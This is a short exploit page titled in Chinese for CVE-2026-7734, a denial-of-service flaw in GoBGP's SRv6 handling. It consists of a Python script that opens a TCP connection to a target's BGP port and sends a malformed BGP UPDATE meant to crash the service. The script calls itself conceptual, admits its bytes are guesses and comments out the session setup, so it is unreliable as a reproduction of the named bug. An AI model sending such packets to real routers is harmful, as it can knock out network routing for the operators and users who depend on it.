CVE-2026-7734 GoBGP SRv6服务拒绝服务漏洞

import socket import struct # Target configuration TARGET_IP = "192.168.1.100" BGP_PORT = 179 def craft_bgp_marker(): # BGP Marker (16 bytes all ones) return b'\xff' * 16 def craft_bgp_open(): # Simplified BGP OPEN message to establish session # Marker (16) + Length (2) + Type (1) + Version (1) + My AS (2) + Hold Time (2) + BGP ID (4) + Opt Len (1) length = 29 bgp_open = struct.pack('!HBBHHI', length, 2, 4, 100, 90, 0x01010101) + b'\x00' return craft_bgp_marker() + bgp_open def craft_malicious_update(): # Constructing a malicious BGP UPDATE message targeting SRv6 L3 Service # This is a conceptual PoC. The specific bytes would depend on the exact vulnerability. marker = craft_bgp_marker() # BGP Header: Length (2), Type (1) -> Type 2 is UPDATE # We need to inject the bad data into the Path Attributes or NLRI # Assuming the vulnerability is triggered in the TLV parsing of SRv6 type_byte = 2 # UPDATE # Construct payload (Withdrawn Routes, Path Attributes, NLRI) # Example malformed attribute for SRv6 # Attribute Flags, Type Code, Length, Value (Malformed) malformed_attr = struct.pack('!BBH', 0xc0, 0x1d, 0x0004) + b'\x00\x00\x00\x00' withdrawn_len = 0 attr_len = len(malformed_attr) nlri = b'' # Calculate total length: Marker(16) + Len(2) + Type(1) + WithdrawnLen(2) + Withdrawn(0) + AttrLen(2) + Attr + NLRI total_len = 16 + 2 + 1 + 2 + withdrawn_len + 2 + attr_len + len(nlri) header = struct.pack('!H', total_len) + struct.pack('!B', type_byte) body = struct.pack('!H', withdrawn_len) body += struct.pack('!H', attr_len) body += malformed_attr body += nlri return marker + header + body def send_exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, BGP_PORT)) # 1. Send OPEN to establish session (Simplified) # s.send(craft_bgp_open()) # 2. Send Malicious UPDATE print("[*] Sending malicious BGP UPDATE packet...") s.send(craft_malicious_update()) print("[+] Packet sent. Check if the service crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()